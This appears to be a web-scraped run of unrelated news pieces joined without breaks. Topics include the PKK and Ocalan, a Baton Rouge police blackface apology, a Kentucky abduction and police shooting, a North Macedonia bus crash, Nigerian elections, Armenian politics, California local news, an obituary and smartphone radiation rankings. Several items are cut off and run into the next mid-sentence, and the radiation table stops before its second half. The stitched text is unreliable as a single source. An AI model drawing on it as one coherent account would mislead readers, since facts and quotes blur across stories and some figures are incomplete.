"In the last 20 years, the PKK has become one of the two key references in the Kurdish sphere in the region; the Iraqi Kurdish government being the other," he said.

And Ocalan's presence goes beyond Turkey as well. Loyal followers refer to him as "Apo" or "Serok" (the chief) and his images are on show in northern Syrian areas controlled by the US-backed Syrian Kurdish People's Protection Units (YPG) militia.

Since the resumption of violence in 2015, President Recep Tayyip Erdogan's speeches regarding Kurdish militants have hardened, making the prospect of a negotiated solution to the conflict even more difficult.

But, stressing that circumstances can always change, Bozarslan said that if he wanted to renew dialogue, Erdogan will "have no other interlocutor" than Ocalan.BATON ROUGE, La. (AP)  A photo of two white Baton Rouge police officers wearing dark makeup has prompted an apology by the police chief of the Louisiana capital city.

The photo was taken before a 1993 undercover drug sting in a predominantly black community that the police chief at the time recalled as "very successful," The Advocate reported.

Current Chief Murphy Paul issued an apology Monday after the photo surfaced.

The photo was posted online over the weekend by The Rouge Collection, a black-owned urban media collection. It shows two officers, Crimestoppers coordinator Lt. Don Stone and since-retired police Capt. Frankie Caruso, posing above a caption reading "Soul Brothers."

"Blackface photographs are inappropriate and offensive," Paul wrote in a statement. "They were inappropriate then and are inappropriate today. The Baton Rouge Police Department would like to apologize to our citizens and to anyone who may have been offended by the photographs."

Paul said there will not be any administrative ramification for Stone because of a statute of limitation on internal officer investigations. However, he noted there are now policies in place to prevent officers from engaging in such practices.

Caruso and the police chief at the time, Greg Phares, have defended the decision to have white officers dressing to appear black as a part of the police operation. They said it was done only with the intent to get drugs off the streets  not to degrade or make fun of African-Americans.

And while the officers' behavior did not quite match that which threatens the careers of two top Virginia politicians, the photo has triggered discussions about how to address and move on from the image. Virginia Gov. Ralph Northam and that state's Attorney General Mark Herring both admitted earlier this month to wearing blackface years ago. They remain in office despite varying calls for their ouster.

"I would like to see communities recognize what was wrong with it, and act from that," said Maxine Crump, founder of Dialogue on Race Louisiana, a local nonprofit working to eradicate racism. "Defending it and justifying it does not change the fact it was wrong then, even if they weren't aware."

Story continues

Walter "Geno" McLaughlin, a black activist who has worked with the police department on community initiatives, said, "It's always unsettling when you see people deciding to go with blackface. . I don't think there's ever a place for it. . It's time to have a conversation about it."

East Baton Rouge Mayor-President Sharon Weston Broome also weighed in with a statement.

"Blackface is more than just a costume," she wrote. "It invokes a painful history in this country and it is not appropriate in any situation."

An Advocate story in 1993 about the operation noted there were seven undercover police officers involved. Stone and Caruso dressed up to appear black because the two black narcotics officers at that time were too well-known and easily recognized in the community, the officers said then.

Caruso likened his actions to other undercover work in his career, including posing as a gay man, a biker and a prostitute.

"You got to dress the part," Caruso said. "It wasn't done offensively."

Neither Caruso nor Phares would describe the makeup as blackface.

"I have no problem whatsoever with that these officers did," said Phares, who currently serves as chief deputy at the East Feliciana Sheriff's Office. "For anyone to try to make this some sort of racial issue two decades or more later is just beyond ridiculous."

But Crump said because of the painful history of blackface in America, it is always wrong.

___

Information from: The Advocate, http://theadvocate.comCRESTWOOD, Ky. (AP)  A female student from an Ohio State University campus and a man suspected of abducting her both died after a police chase and shooting, Kentucky State Police said Tuesday.

The chase began Monday afternoon in northern Kentucky as police responded to a call about a person in distress, authorities said in a news release.

Officers intervened when the vehicle exited a highway and stopped on a ramp in Oldham County, northeast of Louisville. Police said a trooper heard gunfire from the vehicle and returned fire. Both the woman and suspect were fatally shot.

Authorities said the trooper killed the suspect, 24-year-old Ty'rell Pounds. It is unclear who shot the woman, 20-year-old Skylar Williams.

Williams was a student at Ohio State's Mansfield campus. She and Pounds were both from Mansfield.

The university's Department of Public Safety said in a news release that Williams was in a parking lot at the school shortly before noon Monday when she was approached by a male suspect known to her. The release said the man displayed a handgun, forced Williams into his vehicle and fled with her.

Kentucky police said a witness called 911, saying the person saw a distressed woman at a gas station being forced into a vehicle by a man. The caller said it appeared the woman was asking for help.

"Our Ohio State community suffered a tragic loss with the death of Mansfield student Skylar Williams," Ohio State University President Michael V. Drake said in a statement. "This senseless and shocking incident has left our campus shaken."

The university said counseling is available to members of the university community on the Mansfield campus.

The Kentucky State Police Critical Incident Response Team is investigating.Skopje (AFP) - At least 13 people were killed and more than 30 others injured when a passenger bus overturned on a highway in North Macedonia on Wednesday, health minister said.

Speaking to AFP, Minister Venko Filipce added that "the number of dead may increase because there are people in surgery and in critical condition" following the accident which happened around 20 kilometres (12 miles) from the capital Skopje. Around 50 people were on the bus.

"Thirteen people were killed," Filipce told reporters. "There are more than 30 injured."

Ilir Asani, head of the emergency centre at Skopje's main hospital, told local media that at least "five people were severely injured, including a pregnant woman".

A public prosecutor said it had launched a probe into the accident that occurred "when a bus of the company 'Durmo Tours'... crossed the barrier on the opposite side of the highway, then veered off the road and overturned near the village of Laskarci".

Festim Rusani, 42, was on his way home to Tetovo when he saw the overturned bus.

"I called ambulance and police immediately. With neighbours I helped three people to get out of the bus. But for the rest it was very difficult at first, they were all stuck under the bus," he told AFP.

"There was this girl, young woman, alive while we were trying to help her, she was stuck... She lost her legs but she was still breathing. She died there. It was so traumatic," he added.

Prime Minister Zoran Zaev said "there are no words that can console for the severe traffic accident that was fatal for many of our fellow citizens."

"We compassionate with loved ones for their losses. We mobilise all the strengths and capacities to help everyone whose lives are in life-threatening condition or with injuries to provide them as soon as with the necessary help and return to their loved ones," Zaev wrote on his Facebook page.

Since Tuesday the former Macedonia has been known by its new name the Republic of North Macedonia following a historic agreement with neighbouring GreeceJihadist News Articles Analysis Multimedia Social Network Jihad Western Jihadist Digest Free Articles Financial Jihad

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Back to [RTHK News Homepage]A Conversation With Robin R. Sanders

CEO-FEEEDS, former U.S. ambassador to the Republic of Congo, Republic of Nigeria, and U.S. Permanent Representative to ECOWAS

What has changed in Nigeria since the last election?

Over the course of the past two elections, particularly in 2015, Nigeria's Independent National Electoral Commission (INEC) has greatly improved its ability to execute and administer elections, including preparations, cleaning up election rolls, improving voter registration and education processes (especially with young voters), and establishing a fixed timetable for both the presidential and governors' elections.

Equally important, Nigerian citizens are demanding and expecting their leaders to respect transparency and hold free, fair and peaceful elections because they know it can be done in their nation, and they expect even more so for the 2019 elections.

Furthermore, civil society, as a stakeholder, is more active in its election watchdog role, adding its voice to ensure transparency in every step of the process (for example, registration, holding Election Day parallel vote tabulation, and calling for a peaceful election and post-election period).

Then there is the press. Nigeria's media have always been dynamic. But what one sees over two decades is a sophistication in established media outlets. They too contribute to the calls for improved democratic processes. This doesn't mean there isn't sensationalism in the press (as there is elsewhere), but well-respected, established media outlets have played a positive Fourth Estate role in the last decade and will do so this election.

What are Nigeria's biggest challenges or opportunities this year? The next decade?

Nigeria is reportedly a country of more than 190 million people and growing, with most of its population younger than age 35. That being said, I see Nigeria's large, young population as an opportunity for the nation's future, but that opportunity must be taken advantage of and harnessed. Meaning, that job creation -- note I am not saying the word "employment," but job creation -- is going to be key.

What is the difference you might ask between the two -- job creation and employment? Well, think of one as digital (job creation) and one as analog (traditional 9-to-5 employment). Job creation includes traditional formal jobs, but more so developing entrepreneurs and small business, referred to in the region as small and medium-size enterprises or SMEs, with a specific focus on women, young girls and skills training.

I spent the last two years researching the impact and potential of SMEs on the region's growth and development in my book, The Rise of Africa's Small and Medium Size Enterprises. The data there, including some from Gallup on how people feel about starting a business in their country, show that with job creation through SMEs/entrepreneurs comes an emphasis on training, technology and the use of new educational platforms (for example, online).

The Africa region will have the largest working age population in the world around the year 2035, according to the IMF. A large part of that population certainly will be in Nigeria. But the region has hard development issues, as does Nigeria. It will be important for the region to see certain elements as part of the same four-legged stool for growth, stability, democracy and development to thrive, and to provide opportunities for its young people.

For Nigeria, these elements include improving health, education and infrastructure; addressing poverty and food insecurity; further combating corruption; and improving and managing security. The latter point includes Boko Haram as well as Sahel climate change issues, which exacerbate traditional pastoral and herder tensions in the central regions, producing more conflict, which can and has devolved into political/ethnic tensions.

These are challenges for Nigeria to resolve to have a sustainable, enabling environment for development and to provide opportunities for its young people. Some security progress has been made in the Northeast over the past two years, but pockets of instability remain, young girls are still missing, and many internally displaced persons (IDPs), remain displaced -- although some IDP-focused projects exist, and INEC has done a lot to register and establish IDP polling sites, and these are good things.

On corruption, Nigeria has made important inroads in addressing illicit enrichment, demanding more transparency in government accounts, reporting of personal assets and money transfers, and working with foreign governments to return stolen monies to Nigeria's treasury -- with some success.

Clearly more can be done to reduce corruption. But I like to remind people that this is not the whole story of Nigeria, and I get dismayed when the country's story gets reduced to this single (albeit important) issue, or just to the challenges.

This is a vibrant nation, with a vibrant, growing, creative, business and entrepreneurial population. These are the good news stories. Furthermore, its democracy and election processes have improved, and all of us who are friends of Nigeria want to see continued progress in these areas, especially during the upcoming 2019 elections, which we hope are peaceful, and beyond.

The views of those interviewed are expressly their own.Emorys annual Tenenbaum Lecture will explore The Jews of Cuba and their Diasporas: Memories, Stories, Dilemmas, with guest scholar Ruth Behar of the University of Michigan, at 7:30 p.m. Wednesday, Feb.13.

The lecture, sponsored by Emorys Tam Institute for Jewish Studies, will take place in the Ackerman Hall of the Michael C. Carlos Museum on campus (571 South Kilgo Circle), and will be followed by a reception.

Although a small community of scarcely 1,000 people, the Jews of Cuba have attracted wide attention for choosing to shoulder the responsibility of safeguarding the Jewish legacy. Many American Jews have traveled to Cuba on "missions" to aid in this Jewish "rebirth" and have marveled at the vibrancy of the island's Jewish community.

At the same time, the Jewish community has been affected by the continual loss of its members through the many migrations that have occurred since the early years of the Cuban revolution. Behars lecture will address the contradictions surrounding Cuba's Jews on the island as they forge a path between the scroll and the revolution, between Jewishness and Cuban citizenship, while also exploring the connection to and separation from Cuban Jews in the diaspora.

Behar was born in Havana, Cuba, and grew up in New York City. She is the Victor Haim Perera Collegiate Professor of Anthropology at the University of Michigan and the recipient of numerous prestigious awards, including the MacArthur Genius Grant and the Guggenheim Fellowship.

A prolific author, her books include An Island Called Home: Returning to Jewish Cuba, and Traveling Heavy: A Memoir in between Journeys, among many others.

This year marks the 23rd anniversary of the Tenenbaum Family Lectureship in Judaic Studies, which salutes the family of the late Meyer W. Tenenbaum 31C-32L of Savannah, Georgia. Tenenbaum, a native of Poland, arrived in the United States at age 13 knowing no English, and graduated from the Emory University School of Law 11 years later. He went on to head Chatham Steel Corporation, now a major steel service center with headquarters in Savannah.

The lectureship was established in 1997 by Meyers son, Samuel Tenenbaum 65C, and honors the entire Tenenbaum family and its ethos of citizenship and public service, which is expressed through its support of religious, educational, social service and arts institutions across the United States.

The Tam Institute for Jewish Studies at Emory is one of the leading institutions teaching Jewish Studies in the Southeast. Bringing together scholars and students from a number of different departments and programs, the Institute awards an undergraduate major and minor and provides support for doctoral-level work.

Each year, the Institute sponsors public events including the Tenenbaum Family Lecture in Judaic Studies and the Rabbi Jacob M. Rothschild Memorial Lecture, bringing distinguished visiting scholars to campus to share knowledge with faculty, students, and the Atlanta community.

For more information, visit js.emory.eduYEREVAN.- Spokesperson of the Foreign Ministry of Armenia Anna Naghdalyan has commented on the reaction of the U.S. Department of State over deployment of Armenian humanitarian mission in Syria.

"We have acknowledged the US State Department's statement on the deployment of the Armenian Humanitarian Mission in Syria. Its a long time Armenia and the USA make joint efforts to respond to the humanitarian disaster in Syria that is accompanied by a major crisis of refugees and deported people.

We reiterate that during the entire process of the Syrian conflict the world-spread Armenian people followed the fates of the civilian people, minorities, including the Armenian community in Syria with great concern. The Armenian public opinion displayed deep concern and compassion towards the sufferings of the civilian people and the demolition of the country. This is a country that had a key contribution to the survival of the Armenian people who escaped the genocide. General Consul of Armenia in Aleppo worked non-stop during the entire Syrian crisis. Armenia has granted asylum to over 22 thousand Syrian refugees and has provided 4 air cargos of humanitarian aid to the Syrian people. Following the establishment of relative tranquility and security Armenia plans to continue its hummanitarian mission, including by providing doctors and specialists for humanitarian demining aimed at supporting the improvment of the living conditions of the war-suffered civilian population of Aleppo. The Armenian mission has exclusively hummanitarian nature, is guided by the international humanitarian law and will coordinate its activities with the institutions and international partners offering humanitarian aid on site.

We share the concerns of the international community about the situation of the ethnic and religious minorities in the Middle East and highlight the continuity of humanitarian aid provided to Syria,'' Naghdalyan noted.To be honest, what I understood from the questions and answers and speeches during the past two days is that there were no and will not be any substantial discussions. This is what Armenias Deputy Prime Minister Tigran Avinyan told journalists at the National Assembly on 13 February, touching upon the discussions on the government program taking place at the National Assembly.

I didnt hear any constructive recommendations from the opposition in regard to the government program. There were only discussions on the concept. I regret that there was no substantial discussion on the economic model, inclusivity, increase of competitiveness and more exports. I would like for us to be constructive and discuss such issues, Avinyan added.

When told that there used to be discussions with parliamentary factions before submission of a government program to the National Assembly in the past, Avinyan said he didnt know about the traditions of the former governments, but this is a government program that is presented in a four-day period. The government takes full responsibility for the government program, not the National Assembly. However, we are ready to discuss recommendations.YEREVAN. -- Im inviting the Minister of Education and Science to a public debate. This is what member of the Armenian Revolutionary Federation-Dashnaktsutyun (ARF-D), former Minister of Economy Artsvik Minasyan said during a February 12 press conference, commenting on the statement of Armenias Minister of Education and Science Arayik Harutyunyan that the education sector was in a bad situation during the long-term term of office of one of the representatives of the ARF-D.

According to Minasyan, new approaches must not be applied by refusing traditions, and the authorities must refrain from violating national values.

The law on education was first adopted at the initiative of ARF-D member Levon Mkrtchyan back in 1999 when Mkrtchyan was the Minister of Education and Science. This was followed by the introduction of an electronic system in the education sector, the opening of a Chinese school and the revision of the law on higher education. Today, there are not even provisions on patriotic discipline in the government program. Moreover, there are talks about removing the History of the Armenian Church subject from the curriculum. The government says this is due to universal human values and forgets that human rights are also part of national belonging, he noted.

Artsvik Minasyan highlighted the fact that even though the ministers statement isnt correct, the ARF-D is ready to debate. This invitation also concerns other government officials, including Nikol Pashinyan. We are ready to hold public debates and prove the truthfulness of our stance, he added.Lunaticoutpost.com is a participant in the Amazon Services LLC Associates Program , anaffiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com.Amazon, the Amazon logo, MYHABIT, and the MYHABIT logo are trademarks of Amazon.com, Inc. or its affiliates.Don't be a pest to the forum.No profanity in thread-titles or usernamesNo excessive profanity in postsNo Racism, Antisemitism + HateNo calls for violence against anyone..This website exists for fun and discussion only. The reader is responsible for discerning the validity, factuality or implications of information posted here, be it fictional or based on real events. The content of posts on this site, including but not limited to links to other web sites, are the expressed opinion of the original poster and are in no way representative of or endorsed by the owners or administration of this website. The posts on this website are the opinion of the specific author and are not statements of advice, opinion, or factual information on behalf of the owner or administration of LunaticOutPost.Com. The owners or administration of this website can't be hold responsible for content hosted on sites that posters link to in; including, but not limited to, posts, signatures, private messages and such. This site may contain content not suitable for minors and if you feel you might be offended by such content, you should log off immediately.This site may contain copyrighted material the use of which has not always been specifically authorized by the copyright owner. Users may make such material available in an effort to advance awareness and understanding of issues relating to civil rights, economics, individual rights, international affairs, liberty, science & technology, etc. We believe this constitutes a 'fair use' of any such copyrighted material. The material on this site is distributed without profit to those who have expressed a prior interest in receiving the included information for research and educational purposes.In accordance with industry accepted best practices we ask that users limit their copy / paste of copyrighted material to the relevant portions of the article you wish to discuss (no more than 50% of the source material) provide a link back to the original articleIf you are a legal copyright holder or a designated agent for such and you believe a post on this website falls outside the boundaries of "Fair Use" and legitimately infringes on yours or your clients copyright please contact [email protected] This website is owned by :Marco ZwaneveldDrijfriemstraat 522516 XR The HagueNetherlands.I will not rent, sell, share or otherwise disclose your personal information to any third party.We might contact you from time to time regarding your purchases or the services (like forums and announcement lists) you have subscribed to.Some of the 3rd party advertisers on lunaticoutpost.com may use cookiesto track peformance and/or to serve relevant ads.If you wish to read more and/or opt out of such cookies, please visit: http://www.networkadvertising.org/choices/The judgement of the Court of Appeal has been submitted to the defense team of Armenias second president Robert Kocharyan.

According to the Kocharyan attorneys, it will soon be appealed in the Court of Cassation.

The Court of Appeal has denied the petition of the second presidents defense team to change the decision on his pre-trial detention.

As reported earlier, the Special Investigation Service of Armenia pressed new charges against Robert Kocharyan for receiving bribe of particularly large amount.

Armenias second President Robert Kocharyanalong with several other former officialshas been charged within the framework of the criminal case into the tragic events that transpired in Yerevan on March 1 and 2, 2008and under Article 300.1 Paragraph 1 of the Criminal Code; that is, breaching Armenias constitutional order, in conspiracy with others.

On March 1 and 2, 2008 the then authorities of Armenia used force against the opposition members who were rallying in downtown Yerevan, and against the results of the presidential election on February 19, 2008. Eight demonstrators as well as two servicemen of the internal troops were killed in the clashes. But no one had been brought to account for these deaths, to this day.The government of Turkey is facing a choice. Will it defend itself in court against a civil lawsuit that alleges Turkeys president ordered his bodyguards to beat protesters nearly two years ago on a state visit to Washington? Or will it continue to ignore the case?

According to the author of the article, Eli Lake, a decision is due this week, but until now, Ankara has chosen the latter course, Bloomberg reported.

For months, the Turkish government refused to accept the notice of civil litigation on behalf of the five plaintiffs, whose claims include assault and battery, emotional distress and violation of an anti-terrorism law.

"The governments options changed in December, when a U.S. consular official at the embassy in Ankara served the Turkish ministry of foreign affairs with a notice, summons and complaint of the lawsuit. This began a 60-day countdown that ends on Saturday. If Turkey continues to ignore the litigation, the litigation will move forward without its representation," the article reads.

On the surface, the melee outside the Turkish ambassadors Washington residence on May 17, 2017, may not seem like terrorism. Lawyers for the victims, however, beg to differ. As a society, we were all damaged when a leader of a foreign country ordered his guards to attack Americans while they were demonstrating their views in a country that prides itself as a light unto the world, said Douglas Bregman, one of their attorneys.

His point is that the decision to order the guards to attack the protesters was an act of political violence. Another lawyer for the plaintiffs, Andreas Akaras, said the order was meant to curb the right to free expression. Erdogan was sending a message to Kurds and other protesters in Turkey, said Akaras: I can waste you.

Admittedly this is very different than airline hijackings and suicide bombings. But it is violence nonetheless. It also shows the arrogance of Erdogan, who apparently believed that he could treat protesters in America the same way he has treated them in his own country. Under Erdogans rule, Turkey is moving from ally to adversary. Is it any wonder that Turkey has also helped Venezuelas government evade U.S. sanctions on its gold?

Last March, citing a lack of evidence, the Justice Department quietly dropped criminal charges on 11 of the 14 Turkish nationals charged for assault in the 2017 incident. The Turkish government interpreted this decision as vindication. But the standard of proof is less stringent in a civil case, and the civil lawsuit shows that Turkeys actions are not beyond the reach of U.S. law  and is now the only avenue to provide some justice for the protesters beaten nearly two years ago.

Its unclear at this point how Turkey will respond. Akaras says the government has asked for an extension to reply to the summons delivered in December. This could be a sign that Turkey is preparing to defend in court actions that most Americans would view as indefensible.Armenia health ministry to propose joint approach to issue of preserving fallen soldiers remains

Russian MFA: NATO's strategic concept will return situation to Cold War

Lavrov: Russia is helping Armenia, Azerbaijan build confidence along with other OSCE Minsk Group Co-Chairs

PACE committee: Problem of political prisoners in Azerbaijan neither recognised nor adequately addressed

Acting economy minister: This year 6 times more apricots already have been exported from Armenia than in 2019

EU imposes economic sanctions against Belarus

Acting PM signs decision on EU FMs forthcoming visit to Armenia

Reporters Without Borders: Spanish journalist threatened with death by Azerbaijani forces

Karabakh emergency situations service: Searches for remains of servicemen continue in Varanda

Armenia acting minister explains why officials need to stand up when Pashinyan enters the room

Armenia acting economy minister: 90% of businessmen said they would emigrate in case of shift of power

Egypt relaxes entry rules for vaccinated tourists

Churchill's painting sold at auction in US for $ 1.8 million

Afghan government predicted to fall after American withdrawal

Lapshin: European Court decision on my appeal against Azerbaijan went down in history

Queen Sofia of Spain awards Armenian student

Acting economy minister: There is trend of emigration from Armenia

Garo Paylan sounds alarm about damage caused to 18th-century Armenian church in Turkey

Armenia Syunik Province governor to reporters: You're taking too long, I'm not going to answer questions

Netherlands parliament urges government not to send delegation to Baku for Euro 2020 quarterfinals

Acting premier: Patrol Police shall bring new word to Armenia

Turkey archaeologists discover ancient fortress of Van from Urartu era

Armenia to manufacture, export drones

Five new cases of coronavirus reported in Artsakh

Armenia freedom fighter is arrested

'Armenia' bloc to hold protest in front of Prosecutor General's Office with demand to release Armen Charchyan

Armenias Pashinyan on recent snap parliamentary elections: We have set new standard

Armenia government extends ban on import of Turkey goods for another 6 months

Captured soldiers relatives hold protest outside Armenia government building

Acting premier: Average salary per person in Armenia increased by 20.2% compared to 2018

103 new cases of COVID-19 confirmed in Armenia

Armenia acting PM signs decision to send delegation to Moscow

Armenia International Studies expert: What is "last station" of all this?

World oil prices on the rise

Controversial Dubai princess announces she can now travel freely

Newspaper: What is Putin's decision on Armenias Pashinyan?

Newspaper: Armenia acting PM to include defeated political forces in one body

Newspaper: Wiretapping devices are installed in 'disobedient' Armenia judges offices

Armenia POWs relatives start sit-in outside government building

Razminfo: Azerbaijan deploys Bayraktars in Nakhchivan (PHOTOS)

Armenia doctor Armen Charchyan's attorney submits urgent motion to Prosecutor General

European Party of Armenia leader to Nikol Pashinyan: We need to think of strengthening our national potential

Political party leader to Armenia acting PM: There are opposition forces with which we cannot imagine any step

Armenia acting PM meets with Tigran Arzakantsyan

Armenia doctor Armen Charchyan transferred to hospital with cardiac distress

'Armenia' bloc issues statement strictly condemning arrest of doctor Armen Charchyan

Defense Minister: Turkey will not send additional troops to Afghanistan

Armenian judge who ruled to remand doctor Armen Charchyan is wife of top police officer

Armenian doctor Armen Charchyan's attorney says he will appeal court's decision on arrest

Armenia Central Electoral Commission: Civil Contract Party's and two opposition blocs' votes increase after recount

Armenia Izmirlian Medical Center Director Armen Charchyan to be held in custody for a month

North Korea doesn't consider possibility of any contact with US

Azerbaijani army conducting command staff military exercises at level of brigade

Switzerland relaxes COVID-19 restrictions

Turkey removes over 5,500 cubic meters of sea slime from Sea of Marmara

Karabakh President convenes session of Board of Trustees of Shushi University of Technology

France, Germany propose EU summit with Russia's Putin

Armenia acting MOD, High-Tech Industry Ministry's Hayk Chobanyan discuss issues related to arms industry

Rescuers remove body of man from gorge located near St. Sargis Church in Yerevan with great difficulty

Armenia President: Constitution needs to be amended, our country understands presidential governance better

EU intends to pay Turkey EUR 3.5 billion for refugees

Putin, Aliyev discuss factors for implementation of Russia-Armenia-Azerbaijan agreements on Nagorno-Karabakh

Russia FM to discuss Karabakh situation with UN High Commissioner for Refugees

PACE affirms Azerbaijan's refusal to resolve problem of political prisoners

Votes are being recounted in Armenia, Baku is ready to 'work with Yerevan on a big peace agreement, Jun. 23 digest

Armenia acting Deputy PM on his political career in the future

Armenia President: A nation with a history of genocide with Turkey needs to be very careful and have a friend

Armenian NGO president: Elections in Armenia only satisfied Baku and Ankara

Ambassador: UAE will carry out charity program for women in Armenia's Shirak Province

Armenias Sarkissian to pay state visit to Italy

Tokayev to Sarkissian: Continuing our constructive dialogue will contribute to expansion of Armenian-Kazakh cooperation

Aliyev: Armenia refuses to give us maps of minefields

One dollar falls below AMD 513 in Armenia

Armenia acting Deputy PM on dismissals of officials due to their political views

Armenian peacekeeping brigade takes part in military exercise at US military base in Germany

Azerbaijan Deputy PM: Trilateral group will continue its work after Armenia's new Cabinet is formed

Acting deputy PM on Armenian captives return: We have opportunity to reach mutual agreements

'Armenia' bloc member: We garnered 258 votes at polling station in Kapan, but there were no entries

Bayramov: Azerbaijan is ready to work with Armenia on a big peace agreement

Person suspected of firing gunshot at car of Armenian politician detained

Two boys suffer electric shock in Yerevan, one dies in hospital

Head of Armenia's Odzun village: I was beaten by ten people, including the governor of Lori Province

ost of sea freight hits record price due to China

Patriarch of All Russia to Armenia President: You conscientiously fulfill duties entrusted to you

Armenia I Have Honor bloc candidate for PM says their attitude towards acting PM Pashinyan will be "mirror"

Lavrov, Bayramov discuss implementation of agreements reached between Russia, Armenia, Azerbaijan

Armenia I Have Honor bloc candidate for PM on Artsakh issue: Right of peoples to self-determination is inalienable

Artsakh government to provide one-time monetary assistance to war wounded, outpatients

Armenia state-funded Public Television makes around $829,000 purchase from one person

I Have Honor bloc candidate for PM: We can return Armenian captives in Azerbaijan in 2-3 days if we have power

China says world chaos caused by one power

Armenia I Have Honor bloc candidate for PM: I will go to parliament if decision is made that the bloc goes

Judicial farce against Armenian captives continues in Azerbaijan

Armenia acting premier appoints 2 new deputy governors to Ararat Province

Xi Jinping attaches great importance to development of China-Armenia relations

Armenia delegation member to PACE: Azerbaijan media are at forefront of spreading hatred, enmity towards Armenians

100 new cases of COVID-19 confirmed in Armenia

Putin calls Russia contribution "decisive" in Karabakh conflict settlement process

Head of Ukraine parliament friendship group with Armenia congratulates Pashinyan

Armenias Pashinyan congratulates Luxembourg PM on national holidayPresident Donald Trump, who knows a thing or two about big crowds and patriotic backdrops, gave credit where it was due last week to Sen. Kamala Harris for the rollout of her presidential campaign before a crowd of 20,000 outside Oakland City Hall.

Compared to other Democrats, the president told the New York Times, she had a better crowd  better crowd, better enthusiasm. Some of the others were very flat.

Though the president mangled the pronunciation of Harris first name, his pronouncement suggested he was the latest politician to see what the California GOP learned a decade ago: Harris is not a campaigner to be taken lightly.

California Republicans learned that lesson during Harris 2010 race for attorney general. She was the young, anti-death-penalty district attorney from San Francisco, running uphill against an old-school Republican, Los Angeles District Attorney Steve Cooley. But it was more than a San Francisco-L.A., Democratic-Republican battle.

Nationally, 2010 was the year of the tea party when Republicans swept Democrats from control of Congress and captured several statehouses. In California, it was also the first year the attorney generals office drew widespread national attention.SAN RAFAEL  The Board of Trustees of the Dixie School District in Marin County voted Tuesday night against changing the districts name, trustee Marnie Glickman said Wednesday morning.

The group Change The Name, advocating to change the districts name, said the word Dixie is associated with segregation, white supremacy and segregation dating back to the Civil War era.

Opponents of the name change, We Are Dixie, argue the district was named after Mary Dixie, a Miwok Indian woman who had ties to James Miller who built the first schoolhouse in San Rafael in 1849.

The school trustees voted to reject each of the 13 petitions that contained a different name for the district, Glickman said. Each petition needed a majority approval from the five-member board.

After the boards vote, a new petition was filed which requires the board to hold a public hearing within 40 days. The 15 signatures on the new petition have not been verified, Glickman said.

This has been going on for 22 years, Glickman said of the Dixie name controversy. Glickman supports a name change.She was there when the American Navy turned the tide in the Pacific at the Battle of Midway, and she was there when America started the long drive to Tokyo in the Solomon Islands.

The aircraft carrier that is now a museum in Alameda  also named Hornet  was being built when the Hornet sank and was named in honor of the lost ship. It was initially to be named the USS Kearsarge.

Bob Fish, a museum trustee, said the Doolittle Raid was a shining example of innovation because the military dispatched twin-engine Army bombers from the Hornet, helping lay the foundation for overall bombing strategy in World War II.

The Hornet was discovered after Petrel, the research vessel, began operating out of Guadalcanal, one of the Solomon Islands and a legendary battle site of the Pacific war.

The 10-person expedition team on the 250-foot Petrel located Hornets position by piecing together data from national and Naval archives that included official deck logs and action reports from other ships.

Positions and sightings from nine other U.S. warships in the area were plotted on a chart to generate the starting point for the search grid.The state, in taking over PG&E, would have to buy all the infrastructure. The costs would be pretty significant. And the fire risk would still be there. It would be just changing jerseys. Instead of the [fire] liability falling on the utility, it would fall on taxpayers. Thats not a very attractive deal.

So whatever its called  a bailout, corporate welfare or just common sense  Gov. Gavin Newsom and the Legislature need to do things to help the utility stay afloat after it goes through its second bankruptcy in two decades, some say.

Ive been through this dance before, says Sen. Bob Hertzberg, D-Van Nuys, who was Assembly speaker when PG&E filed for bankruptcy the last time in 2001. That was during a horrendous energy crisis, caused by out-of-state power pirates capitalizing on a disastrous energy deregulation scheme passed unanimously by the Legislature.

I learned youve got to have a financial system for all utilities that works, Hertzberg says. That [1996] deal didnt work. It caused the utilities to go upside down.

Nobody wants to bail out PG&E, Hertzberg adds. Everyone wants to talk about how bad PG&E is, but its only the tip of the iceberg.If there are any left after that, it goes to the low-income families in the county, Kromann said.

It is named Turley Flat Apartments because in 2012 vintner Larry Turley bought the property and sold it to California Affordable Housing for $1, with the stipulation that affordable housing be built on the site.

Angwins Helmer and Sons has been the general contractor for the affordable housing project. Doug Helmer said construction has taken six months, a little bit longer than expected. In July, a large crane was used to stack the eight manufactured homes on top of each other.

The affordable housing project cost an estimated $3.4 million, with Poppy Bank funding $1.4 million in mortgages, $835,000 in loans from the City of St. Helenas Affordable Housing Trust Fund, $650,000 in loans from Napa County, a $150,000 grant from the Gasser Foundation and the rest came from other foundations.

After touring the site this week, St. Helena Mayor Geoff Ellsworth said Turley Flats was the first of its kind in the county using this innovative approach of high-quality, attractive modular units and cross jurisdictional partnerships. Though the process was challenging, a pathway has now been outlined for creating more housing sooner. Excellent work!19372019

Dorothy Jeffries passed away peacefully at her beautiful home in St. Helena, California surrounded by members of her family. Dorothy was the epitome of grace and beauty. Born in Chicopee, Massachusetts to Stephen Bardie Walter Ptaszek and Mary S. Panek Ptaszek, she was the first in her family to go to college, graduating from Boston College and then Grand New Haven (Yale) Nursing School. Dorothys adventurous spirit took her across the country to California where she started flying for United Airlines on the San Francisco to Honolulu route as a first-class flight attendant and RN.

Her adventures continued when she met Richard J. Bambery, Sr., moved to Yosemite where they were married and lived in the side cottage of Ansel Adams studio that Dorothy managed while Richard worked for AAA and park services. A short while later they began raising their two children, Richard and Alison. While this relationship ended when the children were young Dorothy, as a single mom, continued as the most dedicated, adoring mother, teacher and supporter. She shared her love of the outdoors, art, music, theatre, yoga, travel, entertaining, cooking and perfecting everything.The German Federal Office for Radiation Protection has measured and compared the level of radiation emitted from modern smartphones when held to an ear during a call.

According to the data published on Statista, the smartphone which emits the most radiation during a call is the Xiaomi Mi A1, followed by the OnePlus 5T and Xiaomi Mi Max 3.

The iPhone 7 is the Apple smartphone with the highest level of radiation emission at 1.38 watts per kilogram, and the Google Pixel 3XL emits around the same level at 1.39W/kg.

Samsung smartphones are the best brand in terms of radiation emission, with the Note 8 emitting the least amount of radiation  0.17W/kg.

The smartphones which emit the most and least radiation during a call are listed below.

Lowest radiation levels

Smartphone Radiation Samsung Galaxy Note 8 0.17W/kg ZTE Axon Elite 0.17W/kg LG G7 0.24W/kg Samsung Galaxy A8 0.24W/kg Samsung Galaxy S8+ 0.26W/kg Samsung Galaxy S7 Edge 0.26W/kg HTC U11 Life 0.28W/kg LG Q6/Q6+ 0.28W/kg Samsung Galaxy S9+ 0.29W/kg Moto G5 Plus 0.30W/kg

Highest radiation levelsParliaments Portfolio Committee on Transport has accepted the final amendments on the Administrative Adjudication of Road Traffic Offences (Aarto) Bill.

The bill will now go to the National Assembly for concurrence and will then be ready to be signed into law.

